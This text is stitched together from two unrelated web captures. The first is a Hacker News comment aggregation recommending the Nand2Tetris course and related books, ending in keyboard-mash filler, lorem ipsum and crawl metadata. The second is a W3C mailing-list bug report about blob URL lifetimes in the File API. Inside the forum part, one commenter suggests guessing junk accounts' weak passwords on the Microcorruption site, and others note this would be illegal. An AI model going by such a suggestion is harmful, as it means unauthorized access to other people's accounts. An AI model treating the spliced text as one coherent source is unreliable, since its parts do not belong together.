are clearly workshops given to researchers at Mitre, the CVE project maintainer. vips7L http://opensecuritytraining.info/ For those interested. boneitis Little warning, Microcorruption may be no longer monitored at this time. Account registration is not automated. A hacker I closely follow tried to play Microcorruption during a Twitch broadcast, and, to my great disappointment, he was unable to due to lack of response. vervus Luckily their "Hall of Fame" is open for anyone to see. And some of the accounts in there are pretty obvious junk accounts with the usual junk passwords. Would probably take like 5 tries to "brute force" your way in, which given the context of the site would even seem fair game. boneitis I agree that just about nobody would care in spirit. It should probably at least be explicitly noted by anyone considering doing so: I'm sure that's still super illegal. tripzilch .. in the United States boneitis That's fair. In any case, I should probably write here that I have since tested account creation with another email and received the activation link right away. retsibsi > NAND to Tetris The book version is also great, and suitable for self-study if you prefer to learn that way: https://www.nand2tetris.org/book +1 for Nand to Tetris. As someone who came to computing through high level software and a little later than many (I wasn't dismantling appliances at age 5 like you hear in a lot of people's origin stories) this was a really empowering ground-up introduction to hardware architecture. One of the few Coursera courses [1] I actually finished and found rewarding, challenging and fun throughout. 1. https://www.coursera.org/learn/build-a-computer The first half of nand2tetris[1] (projects 1-6), which corresponds to their first Coursera course[2] is a great introduction to the digital side of electronics. The second half is more general purpose computer and OS specific but probably still pretty useful. I've only finished up to chapter 5 as of right now, so I can't say anything definite. [1] https://www.nand2tetris.org/ [2] https://www.coursera.org/learn/build-a-computer The best MOOC course I have taken this year is the one I'm currently doing. It is called nand2tetris [1] where you actually build a 16 bit computer all the way from nand gate. Along the journey you will be building the memory, operating system and also writing a compiler. You can follow my journey in tweets [2]. Another great course I'd recommend is Big History[3]. Like nand2tetris,it gives you a great overview of the entire history of our being. From Big Bang to 2018. Also, I am looking for some great online courses on Distributed systems. It would be good if assignments are challenging and where you have to write a lot of code. [1] Nand2tetris: https://www.coursera.org/learn/build-a-computer [2] My Nand2tetris journey in tweets: https://twitter.com/abiduzz420/status/1076192382398357505 [3] Big History Project: https://polymathgoodies.xyz/big-history-project/ Edit: added extra spaces I have spent a lot of time taking online courses. Here are my favorites. CS50 (https://www.edx.org/course/cs50s-introduction-computer-scien...) - Best Intro to Computer Science Nand2Tetris I and II (https://www.coursera.org/learn/build-a-computer) - Build a computer from logic gates up to a compiler, this is the best class I've ever taken. Agile Development Using Ruby on Rails (https://www.edx.org/professional-certificate/agile-developme...) - Great introduction to web development and software engineering principles I've also been reading some technical books. Would definitely recommend Modern Operating Systems - Tanenbaum Designing Data-Intensive Applications - Kleppmann I'm also a self-taught web dev, trying to learn more about the fundamentals. I've been trying to get through this course, and while the going is slow, it has been pretty incredible: https://www.coursera.org/learn/build-a-computer I'm not familiar with low-level, so I'm not sure how "low" you mean, but I've begun the NAND2Tetris course on coursera and it's pretty great so far. You basically implement a VM from scratch: https://www.coursera.org/learn/build-a-computer jamesmcm Wow I just did the same course this week too. It's a great course. Though I ended up writing the assembler in Python rather than C. SilasX I actually took that early this year and LOVED it, and was looking for a good followup course. I was toying around with CS140e (also uses RPi 3 and Rust)[1] but this one looks more appropriate. [1] https://web.stanford.edu/class/cs140e/ This might seem like a roundabout way to start, but I'd recommend Code by Charles Petzold[0]. It starts out with just wires, switches, and relays, and as the book progresses he goes through the process of building up a simple CPU and RAM one step at a time. The book even walks you through coming up with opcodes and assembly language. Even if you already know this stuff, I found the book was helpful in developing an intuitive feel for how everything works and fits together. After reading it, you'd probably have a good mental model of how you'd want to approach writing an emulator. The Nand to Tetris courses and their accompanying textbook would probably be helpful here too[1][2]. [0] https://www.amazon.com/Code-Language-Computer-Hardware-Softw... [1] https://www.coursera.org/learn/build-a-computer [2] https://www.coursera.org/learn/nand2tetris2 There is a book "The Elements of Computing Systems: Building a Modern Computer from First Principles"[0] that is often called "From NAND to Tetris". This has you building a computer simulator from the ground up (NAND to Tetris). There is a website[1] and a Cousera course[2]. And a TED talk[3]. [0] https://www.amazon.com/Elements-Computing-Systems-Building-P... [1] http://nand2tetris.org/ [2] https://www.coursera.org/learn/build-a-computer [3] https://www.ted.com/talks/shimon_schocken_the_self_organizin... Nand 2 Tetris[1] is a good starting place. You should get a good view of how the different level interact. Coursera have two cources [2][3] that cover the same material as the book [1] http://nand2tetris.org/ [2] https://www.coursera.org/learn/build-a-computer [3] https://www.coursera.org/learn/nand2tetris2 indigochill I second this course. It's awesome. The next step from there is probably Coursera's VLSI course, starting with https://www.coursera.org/learn/vlsi-cad-logic. It's all about how real-world VLSI CADs work. fstephany Thanks! I finished Nand2Tetris and was wondering where to look for a good next step. I'll take a stab at a newb-friendly explanation, bearing in mind I'm only slightly less of a newb, but have at least studied this stuff to some extent and have played with https://microcorruption.com, which is a game about maliciously editing machine instructions. Onwards! CPUs have a fixed instruction set. Add, subtract, increment by 1, and so on. These instructions in turn are represented in machine language as a binary string, which represents signals that get sent to the CPU's processing center, the ALU (Arithmetic Logic Unit). The ALU has a number of input ports, with each one corresponding to a different fundamental operation. There are a number of programs capable of taking an executable and providing a step-by-step breakdown in machine language (which makes sense intuitively because the machine has to do this for itself anyway in order to execute the program). So once you have the machine language instructions, you then study it to see what different sets of instructions are doing. This is made somewhat easier by the fact that computers run through instructions linearly (with the exception of jumps, but you also know that jumps represent some sort of logic operating on input, so those are informative as well). Although this would take forever to do manually, there are programs that aid in breaking machine language into easier-to-understand chunks, like IDA. Anyway, once you understand what different chunks of instructions are doing, then you can decide how you want to alter the program. You can use a hex editor for the actual editing (I assume professionals use something different, but some game modders use hex editors), which simply lets you change the individual bits on your drive (if this sounds impressive, realize that every time you save a file or something, that's what's going on at a large scale). If you want a gentle, newbie-friendly introduction to CPUs which will make a lot of this stuff click better, I highly recommend the NAND to Tetris course, which has a video series on Coursera: https://www.coursera.org/learn/build-a-computer Pretty sure that's part of the first course (https://www.coursera.org/learn/build-a-computer), and this one starts above the hardware. +1 to Code (Petzold). I would absolutely start with that. One of my favorite books. The build a computer course from coursera (https://www.coursera.org/learn/build-a-computer) is the natural next step after reading code. Jun 02, 2017 · indigochill on Network Protocols Depending on how deep you want to go: https://www.coursera.org/learn/build-a-computer - This is a fantastic no-prerequisites course that has you actually implementing a functional CPU in 6 weeks starting from building basic logic gates out of NAND gates. There's a hands-on project every week to help you solidify your understanding of the lectures. The resources are also all available at their site: http://www.nand2tetris.org/. In case that sounds intimidating, I have no formal CS education either and couldn't implement any of the basic logic gates before I took the course, and I built a CPU by the end so I'm confident others can too. They have a "Part 2" to this course which has you build from the CPU to a functional operating system which would get you an introduction to how kernels work in general, although they recommend some programming experience for that part. Hacking: The Art of Exploitation - Despite the name, this book is actually an excellent introduction to low-level behavior both on the CPU and on networks (it's split into distinct sections to cover each topic). I would recommend picking this up after the course linked above, because it's somewhat brief with its explanation of CPU architecture. A beginner's course in C programming might also be advisable since this does use some basic C code which might be challenging if you've never been exposed to it before. I am taking a great coursera course on the very basics of a computer (uses a hardware simulator to build the chipsets necessary to build a computer). It is VERY intro-friendly and gentle, including teaching basic Boolean algebra. Also can be very hands on, which is what I really like about it. Might be a good fit! https://www.coursera.org/learn/build-a-computer/ +1, along with the author's course "Build a Modern Computer from First Principles: From Nand to Tetris" https://www.coursera.org/learn/build-a-computer Working through the class on Coursera now, and it's a lot of fun. https://www.coursera.org/learn/build-a-computer petra I wonder if, in that same spirit, it's possible to make building, together , a complex microcontroller , a fun project ? Graziano_M That classes basically builds a microcontroller. It's Harvard Architecture with a split iROM and dRAM. Simple ALU, 16 bit CPU. You'd need one hell of a bread board to physically build it, though. Dangeranger Well there is the FAP80 now. https://github.com/dekuNukem/fap80 https://dekunukem.wordpress.com/ Dec 19, 2016 · 94 points, 17 comments · submitted by ravanpao jwhitlark If you are self taught, you owe it to yourself to take this course. It's the best tie together class I've ever seen, and made a world of difference to me. Note that this is one the first half of the coursework, I'm still waiting for the second part. Seriously, if you're self taught, and have been writing code for a while, this and a great compiler course will take you to a new level. ellius I'm self-taught. This was the first book that actually answered my question "but how does it work?". I'd been getting incomplete and misguided answers for years when I finally stumbled across this book in an HN thread, and I was finally able to put the full picture together. wccrawford I did a course based on this book a while back, and while I didn't quite finish it, I did get a lot of enjoyment from it. I think I probably did it here. Or at least used this page as reference. http://www.nand2tetris.org/course.php bbayer For some background https://www.youtube.com/watch?v=iE7YRHxwoDs throwaway2016a I had avery similar course to this in college. We build a 4-bit machine (with a very limited instruction set) from scratch (well from basic logic gates and RAM). For the final project grade the professor ran a test program through it and saw if the output matched what was expected. We actually physically built it on a breadboard. It was fun and I learned a lot. Hopefully this is a similar experience for those who take it. ioseph Looks like an interesting course, though the submission process seems unpleasant compared to other courses I've taken in the past. temp-defualt Amazing... I really love this course. I teach it to my students it is great! busterarm I've been going through the book and it's been great fun so far. Recommend! fieryskiff Interesting. Anyone know if it's updated from [0]? Wonder if it'll just use the same Software. The book [1] was interesting. [0] http://nand2tetris.org/ [1] https://www.amazon.com/Elements-Computing-Systems-Building-P... ioseph Looks like it's still the same course although with video lectures added guiambros I finished it a couple of months ago. It uses the exact same structure and software as described in the book (HACK language, etc). The included hands-on projects made it more fun and interesting. Basically you'll build a simple computer from the ground up, starting with flip-flops and going all the up up to ALU, memory and CPU. The grader works well, so you can submit your code and it'll grade you in realtime. You can finish it in less than a month, if you have experience with electronics and Boolean logic. Patrick_Devine I've gone through the book and got as far as building the computer, writing the assembler and running some programs on it. Does the course go beyond this? I haven't built the virtual machine or written the compiler, but it looked like from the description of the course, they didn't do that either. dan1234 According to the Nand2Tetris site[0], this is just part 1 and only covers chapters 1-6. Part 2 will cover chapters 7-12 but looks to be still in development. [0]http://nand2tetris.org/ chairmanwow > Course by Hebrew University of Jerusalem > Project 1 due December 25th rkachowski Sadly it looks like the course stops at week 6 after the assembler has been implemented. The next steps in the book are to implement the VM, compiler and develop programs in the high level language you've implemented. I started the book back in August and got as far as implementing the lexical analysis in the compiler, I was kinda hoping this course would give the the push to finish everything. dx034 They say in the first video that the software part (from week 7) will follow in a second Coursera course. ChrisRR I've been waiting for that second course for years now... Nov 23, 2016 · 3 points, 0 comments · submitted by stpapa The authors also created a course on Coursera [1] which is also worth a look. Although it only covers the first half of the book (up to Assembler Language.) The authors have promised part 2 but it hasn't been released yet. [1] https://www.coursera.org/learn/build-a-computer I really like nand2tetris [1] in which one builds a computer from NAND gates upwards. You build the ALU etc., an assembler, compiler, a OS and VM on which you can run your own version of tetris, snake, whatever. It doesn't teach programming directly, but could be used to teach programming when the first parts are reached that require programming (I believe it was Chapter 6 - Assembler). The hardware part of the course is also available on coursera now. [2] Previous discussion on hn [3]. [1] http://www.nand2tetris.org/ [2] https://www.coursera.org/learn/build-a-computer [3] https://news.ycombinator.com/item?id=5888705 Thanks to the author for the heads up, would be real shame if these courses are removed without someone downloading all the material first (I don't care if it's against the ToS, I still think a torrent is the way to go, free education has a greater value than copyright protection). I'm a bit confused about which courses will be removed and which ones will stay. Is there a list of courses that are present on the old platform but not on the new platform? Also, I don't know where I'd access the old platform and where I'd access the new platform. Am I right in thinking this is a course on the new platform? https://www.coursera.org/learn/build-a-computer If so, where do I go to see the old platform? Cool, haven't thought about that. I probably need to get an FPGA. Really liked the book "The Elements of Computing Systems" [1][2] in which one builds a computer from NAND gates upwards, a compiler, vm and finally a simple OS with applications. The hardware part of the course seems to be on coursera now as well. [3] [1] https://mitpress.mit.edu/books/elements-computing-systems [2] http://www.nand2tetris.org/ [3] https://www.coursera.org/learn/build-a-computer nickpsecurity That's some really neat stuff that I somehow missed in prior research. Thanks for the links. I'm particularly going to have to take another look at the paper that details their methodology for building systems ground up. The abstraction process and samples. Jun 23, 2015 · e19293001 on Megaprocessor I just finished the course from coursera https://www.coursera.org/course/nand2tetris1. It is a very good start learning from the course or from the book for those who are interested to build something like this. I highly recommend it. Sometimes I do find programmers that do not know how to, say, install a linux distro, or at a lower level, don't understand what a data bus is, or how one bit of information is actually stored in a computer. > Learning how to make car parts from scratch gives younger workers insights they otherwise wouldn’t get from picking parts from bins and conveyor belts, or pressing buttons on machines. This is also the spirit of the nand2tetris [1] course, currently running on coursera [2]. The book is a really entertaining read too. Depending on how familiar you are with electronics you may be able to outpace the video course quite a bit. Also, > “Fully automated machines don’t evolve on their own,” not yet... :p 1: http://www.nand2tetris.org/ 2: https://www.coursera.org/course/nand2tetris1 gregpilling I know a computer science professor that asked me how to make a website as recently as 2007 kwhitefoot Not entirely sure what your point is here but I assume that you mean he should have known. Can't imagine why a computer SCIENCE professor would be expected to know how to make a website any more than my Newtonian mechanics professor would have been expected to know how to build a car. Apr 12, 2015 · 2 points, 0 comments · submitted by pykello Mar 24, 2015 · 3 points, 0 comments · submitted by AlexeyBrin Mar 24, 2015 · 7 points, 0 comments · submitted by signa11 Feb 17, 2015 · 1 points, 0 comments · submitted by ludicast HN Academy is an independent project and is not operated by Y Combinator, Coursera, edX, or any of the universities and other institutions providing courses. ~ [email protected] ;laksdfhjdhksalkfj more things yahnd.com ~ Privacy Policy ~ Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
{ "url": "https://yahnd.com/academy/r/coursera.org/learn/build-a-computer/", "source_domain": "yahnd.com", "snapshot_id": "crawl=CC-MAIN-2020-29", "warc_metadata": { "Content-Length": "106210", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:TOWF3LZNFV4P2USNVVXS6NLL3XVZWF4H", "WARC-Concurrent-To": "<urn:uuid:20b8c2b6-d7bf-4468-91b8-fb3f5d678a27>", "WARC-Date": "2020-07-14T16:40:19Z", "WARC-IP-Address": "104.27.158.32", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:SYPJ5VJFOOUB6S7KNRLXMOQONL2CHZBQ", "WARC-Record-ID": "<urn:uuid:624b3c4b-21ef-49a6-8747-00727d6ff40e>", "WARC-Target-URI": "https://yahnd.com/academy/r/coursera.org/learn/build-a-computer/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:bc6c0b48-9940-40bb-af3d-a322a0c607bd>" }, "warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-65.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 11, 12, 52, 53, 77, 170, 171, 246, 247, 466, 485, 486, 507, 508, 924, 925, 943, 944, 1540, 1541, 1556, 1557, 1948, 1949, 2510, 2511, 2531, 2570, 2601, 2615, 2698, 2909, 2984, 2985, 3018, 3019, 3095, 3151, 3272, 3273, 3381, 3382, 3490, 3491, 3632, 3633, 3694, 3695, 3719, 3720, 3953, 3954, 4143, 4144, 4231, 4232, 4319, 4320, 4388, 4389, 4459, 4460, 4587, 4588, 4593, 4683, 4684, 4830, 4831, 4934, 4935, 4942, 5211, 5222, 5259, 5270, 5367, 5407, 5408, 5529, 5530, 5910, 5911, 6085, 6086, 6360, 6361, 6376, 6714, 6721, 6755, 6756, 6778, 6779, 6788, 6900, 6901, 7059, 7060, 7067, 7347, 7356, 7409, 7410, 7527, 7528, 7538, 7562, 7571, 7584, 7585, 7733, 7734, 7743, 7760, 7761, 7887, 7888, 7911, 7912, 8173, 8174, 8283, 8284, 8335, 8336, 8682, 8683, 8716, 8717, 8769, 8770, 9084, 9085, 9245, 9246, 9410, 9411, 9476, 9477, 9573, 9574, 9648, 9649, 9674, 9675, 9748, 9749, 9853, 9854, 10019, 10020, 10200, 10201, 10273, 10274, 10361, 10362, 10544, 10545, 10593, 10594, 10834, 10843, 10889, 10890, 10976, 10977, 10984, 11178, 11179, 11222, 11223, 11317, 11318, 11560, 11561, 11703, 11704, 11813, 11814, 11915, 11916, 12084, 12085, 12380, 12381, 12449, 12450, 12478, 12479, 12531, 12532, 12600, 12601, 12782, 12783, 12911, 12912, 12924, 13128, 13138, 13223, 13497, 13498, 13865, 13866, 14463, 14464, 14614, 14615, 15071, 15072, 15313, 15314, 15449, 15670, 15718, 15756, 15757, 16598, 16599, 17115, 17116, 17432, 17433, 17482, 17483, 17635, 17749, 17755, 17876, 17887, 18083, 18095, 18192, 18254, 18264, 18419, 18420, 18515, 18516, 18653, 18654, 18661, 18937, 18948, 19070, 19071, 19144, 19145, 19183, 19184, 19191, 19255, 19270, 19553, 19554, 19603, 19604, 19698, 19699, 19706, 19837, 19850, 19927, 19937, 20002, 20003, 20014, 20015, 20026, 20151, 20152, 20180, 20181, 20249, 20250, 20257, 20330, 20340, 20471, 20472, 20671, 20672, 20855, 20856, 20871, 21170, 21178, 21336, 21337, 21364, 21365, 21377, 21420, 21421, 21451, 21452, 21463, 21681, 21682, 21862, 21863, 21869, 21975, 21983, 22041, 22099, 22322, 22323, 22375, 22376, 22766, 22767, 22869, 22870, 22902, 22903, 22955, 22956, 23005, 23006, 23289, 23290, 23617, 23618, 23666, 23667, 23713, 23714, 24032, 24033, 24095, 24096, 24128, 24129, 24181, 24182, 24196, 24454, 24496, 24731, 24939, 24940, 25127, 25128, 25370, 25371, 25377, 25378, 25434, 25435, 25449, 25450, 25481, 25482, 25530, 25531, 25543, 25635, 25646, 25737, 25738, 25933, 25934, 25993, 26055, 26114, 26174, 26332, 26352, 26383, 26412 ], "line_end_idx": [ 11, 12, 52, 53, 77, 170, 171, 246, 247, 466, 485, 486, 507, 508, 924, 925, 943, 944, 1540, 1541, 1556, 1557, 1948, 1949, 2510, 2511, 2531, 2570, 2601, 2615, 2698, 2909, 2984, 2985, 3018, 3019, 3095, 3151, 3272, 3273, 3381, 3382, 3490, 3491, 3632, 3633, 3694, 3695, 3719, 3720, 3953, 3954, 4143, 4144, 4231, 4232, 4319, 4320, 4388, 4389, 4459, 4460, 4587, 4588, 4593, 4683, 4684, 4830, 4831, 4934, 4935, 4942, 5211, 5222, 5259, 5270, 5367, 5407, 5408, 5529, 5530, 5910, 5911, 6085, 6086, 6360, 6361, 6376, 6714, 6721, 6755, 6756, 6778, 6779, 6788, 6900, 6901, 7059, 7060, 7067, 7347, 7356, 7409, 7410, 7527, 7528, 7538, 7562, 7571, 7584, 7585, 7733, 7734, 7743, 7760, 7761, 7887, 7888, 7911, 7912, 8173, 8174, 8283, 8284, 8335, 8336, 8682, 8683, 8716, 8717, 8769, 8770, 9084, 9085, 9245, 9246, 9410, 9411, 9476, 9477, 9573, 9574, 9648, 9649, 9674, 9675, 9748, 9749, 9853, 9854, 10019, 10020, 10200, 10201, 10273, 10274, 10361, 10362, 10544, 10545, 10593, 10594, 10834, 10843, 10889, 10890, 10976, 10977, 10984, 11178, 11179, 11222, 11223, 11317, 11318, 11560, 11561, 11703, 11704, 11813, 11814, 11915, 11916, 12084, 12085, 12380, 12381, 12449, 12450, 12478, 12479, 12531, 12532, 12600, 12601, 12782, 12783, 12911, 12912, 12924, 13128, 13138, 13223, 13497, 13498, 13865, 13866, 14463, 14464, 14614, 14615, 15071, 15072, 15313, 15314, 15449, 15670, 15718, 15756, 15757, 16598, 16599, 17115, 17116, 17432, 17433, 17482, 17483, 17635, 17749, 17755, 17876, 17887, 18083, 18095, 18192, 18254, 18264, 18419, 18420, 18515, 18516, 18653, 18654, 18661, 18937, 18948, 19070, 19071, 19144, 19145, 19183, 19184, 19191, 19255, 19270, 19553, 19554, 19603, 19604, 19698, 19699, 19706, 19837, 19850, 19927, 19937, 20002, 20003, 20014, 20015, 20026, 20151, 20152, 20180, 20181, 20249, 20250, 20257, 20330, 20340, 20471, 20472, 20671, 20672, 20855, 20856, 20871, 21170, 21178, 21336, 21337, 21364, 21365, 21377, 21420, 21421, 21451, 21452, 21463, 21681, 21682, 21862, 21863, 21869, 21975, 21983, 22041, 22099, 22322, 22323, 22375, 22376, 22766, 22767, 22869, 22870, 22902, 22903, 22955, 22956, 23005, 23006, 23289, 23290, 23617, 23618, 23666, 23667, 23713, 23714, 24032, 24033, 24095, 24096, 24128, 24129, 24181, 24182, 24196, 24454, 24496, 24731, 24939, 24940, 25127, 25128, 25370, 25371, 25377, 25378, 25434, 25435, 25449, 25450, 25481, 25482, 25530, 25531, 25543, 25635, 25646, 25737, 25738, 25933, 25934, 25993, 26055, 26114, 26174, 26332, 26352, 26383, 26412, 26858 ] }
{ "red_pajama_v2": { "ccnet_original_length": 26858, "ccnet_original_nlines": 374, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0.00003943000047001988, "rps_doc_stop_word_fraction": 0.37251168489456177, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0299463402479887, "rps_doc_frac_lines_end_with_ellipsis": 0.013333329930901527, "rps_doc_frac_no_alph_words": 0.22520339488983154, "rps_doc_frac_unique_words": 0.2910321354866028, "rps_doc_mean_word_length": 5.130771160125732, "rps_doc_num_sentences": 346, "rps_doc_symbol_to_word_ratio": 0.002250300021842122, "rps_doc_unigram_entropy": 6.062509059906006, "rps_doc_word_count": 4137, "rps_doc_frac_chars_dupe_10grams": 0.017572790384292603, "rps_doc_frac_chars_dupe_5grams": 0.052011679857969284, "rps_doc_frac_chars_dupe_6grams": 0.03396778181195259, "rps_doc_frac_chars_dupe_7grams": 0.023037780076265335, "rps_doc_frac_chars_dupe_8grams": 0.023037780076265335, "rps_doc_frac_chars_dupe_9grams": 0.017572790384292603, "rps_doc_frac_chars_top_2gram": 0.008056160062551498, "rps_doc_frac_chars_top_3gram": 0.006218790076673031, "rps_doc_frac_chars_top_4gram": 0.006595680024474859, "rps_doc_books_importance": -2387.4833984375, "rps_doc_books_importance_length_correction": -2387.4833984375, "rps_doc_openwebtext_importance": -1508.2156982421875, "rps_doc_openwebtext_importance_length_correction": -1508.2156982421875, "rps_doc_wikipedia_importance": -1178.39892578125, "rps_doc_wikipedia_importance_length_correction": -1178.39892578125 }, "fasttext": { "dclm": 0.05806421861052513, "english": 0.9439414739608765, "fineweb_edu_approx": 1.8738255500793457, "eai_general_math": 0.4883316159248352, "eai_open_web_math": 0.22169369459152222, "eai_web_code": 0.4075259566307068 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.2", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "004.0151", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "2", "label": "Click Here References" } }, "document_type_v2": { "primary": { "code": "5", "label": "Comment Section" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,075,273,413,005,013,000
W3C home > Mailing lists > Public > [email protected] > July to September 2012 [Bug 17765] New: APIs need to take a reference to blob data underlying object URLs From: <[email protected]> Date: Thu, 12 Jul 2012 23:04:00 +0000 To: [email protected] Message-ID: <[email protected]/Bugs/Public/> https://www.w3.org/Bugs/Public/show_bug.cgi?id=17765 Summary: APIs need to take a reference to blob data underlying object URLs Product: WebAppsWG Version: unspecified Platform: PC OS/Version: Windows NT Status: NEW Severity: normal Priority: P2 Component: File API AssignedTo: [email protected] ReportedBy: [email protected] QAContact: [email protected] CC: [email protected] This is the remaining portion of the autoRevoke blob URL feature. APIs that take URLs and then operate on them asynchronously need to synchronously take a reference to the underlying blob data before returning. For example, when you say "img.src = URL.createBlobURL(blob)", the image fetch doesn't necessarily begin immediately. It may not happen until well after the script returns. Currently, that means that by the time the fetch begins, the URL would no longer exist, because it's released as soon as the script returns. To fix this, "img.src = blobURL" needs to take a reference to the underlying blob data before the assignment returns. Then, all fetches that would normally operate on the @src URL actually take place on the blob data. For example, using XHR2 as an example, "Associate blob data with *url*" would be added as a step after 6 (after resolving the URL). The "associate blob data with url" algorithm would look up the Blob associated with the URL, and associate the underlying data of that blob to it (or do nothing if it's not a blob URL). That way, the blob data tags along with the URL when it's lter sent to fetch (when send is called). (In case this isn't clear, this is treating XHR2's "url" property as a string-like object with a property hanging off it, and this wouldn't be visible to scripts. It's essentially shorthand for passing a (url, blob) tuple to fetch.) As a side-effect, this also prevents "img.src = URL.createObjectURL(blob); blob.close();" from being nondeterministic. Currently, it depends on what stage the image update was at. One other note: all APIs should attempt to take this reference at the time the URL enters the API (eg. when xhr.open is called), not at some later point (like xhr.send). That is, this should still always work (for any API) without caring if the caller gave you a blob URL: function openURLLater(url) { xhr.open(url); setTimeout(function() { xhr.send(); }, 1000); } -- Configure bugmail: https://www.w3.org/Bugs/Public/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug. Received on Thursday, 12 July 2012 23:04:01 UTC This archive was generated by hypermail 2.4.0 : Friday, 17 January 2020 18:13:37 UTC
{ "url": "https://lists.w3.org/Archives/Public/public-webapps/2012JulSep/0138.html", "source_domain": "lists.w3.org", "snapshot_id": "crawl=CC-MAIN-2020-10", "warc_metadata": { "Content-Length": "12033", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:GWKREHZCRTC4UWTAYJIHQTE6JKVMQ2Y3", "WARC-Concurrent-To": "<urn:uuid:b184ca5e-25bf-4362-9e5c-f373bba56500>", "WARC-Date": "2020-02-18T06:52:08Z", "WARC-IP-Address": "128.30.52.41", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:4XQBUWSWU5GPHPACBPEK7X6ZZ23R2O3O", "WARC-Record-ID": "<urn:uuid:566bb83c-0a9c-43b6-82e7-04d569608b86>", "WARC-Target-URI": "https://lists.w3.org/Archives/Public/public-webapps/2012JulSep/0138.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:1203a645-c543-411b-aca6-9d55b084c9e3>" }, "warc_info": "isPartOf: CC-MAIN-2020-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-179.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 83, 84, 167, 168, 200, 238, 264, 322, 375, 376, 450, 482, 512, 544, 567, 598, 622, 649, 672, 701, 738, 773, 824, 866, 867, 868, 945, 1024, 1080, 1081, 1160, 1239, 1317, 1397, 1398, 1475, 1555, 1617, 1618, 1696, 1776, 1848, 1926, 2006, 2038, 2039, 2110, 2190, 2265, 2273, 2274, 2349, 2424, 2455, 2456, 2535, 2615, 2695, 2730, 2731, 2758, 2760, 2779, 2829, 2831, 2832, 2836, 2910, 2963, 2999, 3047, 3048 ], "line_end_idx": [ 83, 84, 167, 168, 200, 238, 264, 322, 375, 376, 450, 482, 512, 544, 567, 598, 622, 649, 672, 701, 738, 773, 824, 866, 867, 868, 945, 1024, 1080, 1081, 1160, 1239, 1317, 1397, 1398, 1475, 1555, 1617, 1618, 1696, 1776, 1848, 1926, 2006, 2038, 2039, 2110, 2190, 2265, 2273, 2274, 2349, 2424, 2455, 2456, 2535, 2615, 2695, 2730, 2731, 2758, 2760, 2779, 2829, 2831, 2832, 2836, 2910, 2963, 2999, 3047, 3048, 3132 ] }
